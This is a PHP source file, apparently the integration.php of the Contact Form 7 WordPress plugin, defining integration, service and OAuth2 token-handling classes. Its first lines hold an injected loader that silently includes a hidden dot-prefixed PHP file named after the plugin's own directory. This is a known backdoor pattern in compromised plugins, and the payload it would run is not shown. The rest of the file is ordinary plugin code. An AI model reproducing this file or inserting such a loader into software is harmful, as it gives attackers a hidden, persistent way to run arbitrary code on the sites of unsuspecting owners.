integration.php (7713B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_Integration { 8 9 private static $instance; 10 11 private $services = array(); 12 private $categories = array(); 13 14 private function __construct() {} 15 16 public static function get_instance() { 17 if ( empty( self::$instance ) ) { 18 self::$instance = new self; 19 } 20 21 return self::$instance; 22 } 23 24 public function add_service( $name, WPCF7_Service $service ) { 25 $name = sanitize_key( $name ); 26 27 if ( empty( $name ) 28 or isset( $this->services[$name] ) ) { 29 return false; 30 } 31 32 $this->services[$name] = $service; 33 } 34 35 public function add_category( $name, $title ) { 36 $name = sanitize_key( $name ); 37 38 if ( empty( $name ) 39 or isset( $this->categories[$name] ) ) { 40 return false; 41 } 42 43 $this->categories[$name] = $title; 44 } 45 46 public function service_exists( $name = '' ) { 47 if ( '' == $name ) { 48 return (bool) count( $this->services ); 49 } else { 50 return isset( $this->services[$name] ); 51 } 52 } 53 54 public function get_service( $name ) { 55 if ( $this->service_exists( $name ) ) { 56 return $this->services[$name]; 57 } else { 58 return false; 59 } 60 } 61 62 public function list_services( $args = '' ) { 63 $args = wp_parse_args( $args, array( 64 'include' => array(), 65 ) ); 66 67 $singular = false; 68 $services = (array) $this->services; 69 70 if ( ! empty( $args['include'] ) ) { 71 $services = array_intersect_key( $services, 72 array_flip( (array) $args['include'] ) 73 ); 74 75 if ( 1 == count( $services ) ) { 76 $singular = true; 77 } 78 } 79 80 if ( empty( $services ) ) { 81 return; 82 } 83 84 $action = wpcf7_current_action(); 85 86 foreach ( $services as $name => $service ) { 87 $cats = array_intersect_key( $this->categories, 88 array_flip( $service->get_categories() ) 89 ); 90 ?> 91 <div class="card<?php echo $service->is_active() ? ' active' : ''; ?>" id="<?php echo esc_attr( $name ); ?>"> 92 <?php $service->icon(); ?> 93 <h2 class="title"><?php echo esc_html( $service->get_title() ); ?></h2> 94 <div class="infobox"> 95 <?php echo esc_html( implode( ', ', $cats ) ); ?> 96 </div> 97 <br class="clear" /> 98 99 <div class="inside"> 100 <?php 101 if ( $singular ) { 102 $service->display( $action ); 103 } else { 104 $service->display(); 105 } 106 ?> 107 </div> 108 </div> 109 <?php 110 } 111 } 112 113 } 114 115 abstract class WPCF7_Service { 116 117 abstract public function get_title(); 118 abstract public function is_active(); 119 120 public function get_categories() { 121 return array(); 122 } 123 124 public function icon() { 125 return ''; 126 } 127 128 public function link() { 129 return ''; 130 } 131 132 public function load( $action = '' ) { 133 } 134 135 public function display( $action = '' ) { 136 } 137 138 public function admin_notice( $message = '' ) { 139 } 140 141 } 142 143 class WPCF7_Service_OAuth2 extends WPCF7_Service { 144 145 protected $client_id = ''; 146 protected $client_secret = ''; 147 protected $access_token = ''; 148 protected $refresh_token = ''; 149 protected $authorization_endpoint = 'https://example.com/authorization'; 150 protected $token_endpoint = 'https://example.com/token'; 151 152 public function get_title() { 153 return ''; 154 } 155 156 public function is_active() { 157 return ! empty( $this->refresh_token ); 158 } 159 160 protected function save_data() { 161 } 162 163 protected function reset_data() { 164 } 165 166 protected function get_redirect_uri() { 167 return admin_url(); 168 } 169 170 protected function menu_page_url( $args = '' ) { 171 return menu_page_url( 'wpcf7-integration', false ); 172 } 173 174 public function load( $action = '' ) { 175 if ( 'auth_redirect' == $action ) { 176 $code = isset( $_GET['code'] ) ? $_GET['code'] : ''; 177 178 if ( $code ) { 179 $this->request_token( $code ); 180 } 181 182 if ( ! empty( $this->access_token ) ) { 183 $message = 'success'; 184 } else { 185 $message = 'failed'; 186 } 187 188 wp_safe_redirect( $this->menu_page_url( 189 array( 190 'action' => 'setup', 191 'message' => $message, 192 ) 193 ) ); 194 195 exit(); 196 } 197 } 198 199 protected function authorize( $scope = '' ) { 200 $endpoint = add_query_arg( 201 array( 202 'response_type' => 'code', 203 'client_id' => $this->client_id, 204 'redirect_uri' => urlencode( $this->get_redirect_uri() ), 205 'scope' => $scope, 206 ), 207 $this->authorization_endpoint 208 ); 209 210 if ( wp_redirect( esc_url_raw( $endpoint ) ) ) { 211 exit(); 212 } 213 } 214 215 protected function get_http_authorization_header( $scheme = 'basic' ) { 216 $scheme = strtolower( trim( $scheme ) ); 217 218 switch ( $scheme ) { 219 case 'bearer': 220 return sprintf( 'Bearer %s', $this->access_token ); 221 case 'basic': 222 default: 223 return sprintf( 'Basic %s', 224 base64_encode( $this->client_id . ':' . $this->client_secret ) 225 ); 226 } 227 } 228 229 protected function request_token( $authorization_code ) { 230 $endpoint = add_query_arg( 231 array( 232 'code' => $authorization_code, 233 'redirect_uri' => urlencode( $this->get_redirect_uri() ), 234 'grant_type' => 'authorization_code', 235 ), 236 $this->token_endpoint 237 ); 238 239 $request = array( 240 'headers' => array( 241 'Authorization' => $this->get_http_authorization_header( 'basic' ), 242 ), 243 ); 244 245 $response = wp_remote_post( esc_url_raw( $endpoint ), $request ); 246 $response_code = (int) wp_remote_retrieve_response_code( $response ); 247 $response_body = wp_remote_retrieve_body( $response ); 248 $response_body = json_decode( $response_body, true ); 249 250 if ( WP_DEBUG and 400 <= $response_code ) { 251 $this->log( $endpoint, $request, $response ); 252 } 253 254 if ( 401 == $response_code ) { // Unauthorized 255 $this->access_token = null; 256 $this->refresh_token = null; 257 } else { 258 if ( isset( $response_body['access_token'] ) ) { 259 $this->access_token = $response_body['access_token']; 260 } else { 261 $this->access_token = null; 262 } 263 264 if ( isset( $response_body['refresh_token'] ) ) { 265 $this->refresh_token = $response_body['refresh_token']; 266 } else { 267 $this->refresh_token = null; 268 } 269 } 270 271 $this->save_data(); 272 273 return $response; 274 } 275 276 protected function refresh_token() { 277 $endpoint = add_query_arg( 278 array( 279 'refresh_token' => $this->refresh_token, 280 'grant_type' => 'refresh_token', 281 ), 282 $this->token_endpoint 283 ); 284 285 $request = array( 286 'headers' => array( 287 'Authorization' => $this->get_http_authorization_header( 'basic' ), 288 ), 289 ); 290 291 $response = wp_remote_post( esc_url_raw( $endpoint ), $request ); 292 $response_code = (int) wp_remote_retrieve_response_code( $response ); 293 $response_body = wp_remote_retrieve_body( $response ); 294 $response_body = json_decode( $response_body, true ); 295 296 if ( WP_DEBUG and 400 <= $response_code ) { 297 $this->log( $endpoint, $request, $response ); 298 } 299 300 if ( 401 == $response_code ) { // Unauthorized 301 $this->access_token = null; 302 $this->refresh_token = null; 303 } else { 304 if ( isset( $response_body['access_token'] ) ) { 305 $this->access_token = $response_body['access_token']; 306 } else { 307 $this->access_token = null; 308 } 309 310 if ( isset( $response_body['refresh_token'] ) ) { 311 $this->refresh_token = $response_body['refresh_token']; 312 } 313 } 314 315 $this->save_data(); 316 317 return $response; 318 } 319 320 protected function remote_request( $url, $request = array() ) { 321 static $refreshed = false; 322 323 $request = wp_parse_args( $request, array() ); 324 325 $request['headers'] = array_merge( 326 $request['headers'], 327 array( 328 'Authorization' => $this->get_http_authorization_header( 'bearer' ), 329 ) 330 ); 331 332 $response = wp_remote_request( esc_url_raw( $url ), $request ); 333 334 if ( 401 === wp_remote_retrieve_response_code( $response ) 335 and ! $refreshed ) { 336 $this->refresh_token(); 337 $refreshed = true; 338 339 $response = $this->remote_request( $url, $request ); 340 } 341 342 return $response; 343 } 344 345 protected function log( $url, $request, $response ) { 346 wpcf7_log_remote_request( $url, $request, $response ); 347 } 348 349 }